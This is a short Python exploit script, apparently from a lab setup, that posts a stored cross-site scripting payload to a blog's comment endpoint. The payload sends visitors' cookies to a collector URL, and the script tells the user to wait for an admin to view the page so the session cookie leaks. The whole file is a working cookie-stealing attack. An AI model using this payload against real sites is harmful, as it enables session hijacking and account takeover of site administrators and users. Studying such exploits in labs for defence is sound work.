13 lines
676 B
Python
13 lines
676 B
Python
#!/usr/bin/env python3
|
|
import requests, argparse
|
|
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument('--target', default='http://127.0.0.1:8080', help='Base URL of vulnerable blog')
|
|
ap.add_argument('--collector', default='http://127.0.0.1:9000', help='Collector URL to receive exfiltrated cookie')
|
|
args = ap.parse_args()
|
|
|
|
payload = f"<script>new Image().src='{args.collector}/?d='+encodeURIComponent(document.cookie);</script>"
|
|
|
|
r = requests.post(args.target + '/comment', data={'name':'attacker','comment':payload})
|
|
print('Posted comment, got', r.status_code)
|
|
print('Visit the post page as admin (or wait for admin) to trigger the payload and see exfiltration on the collector.') |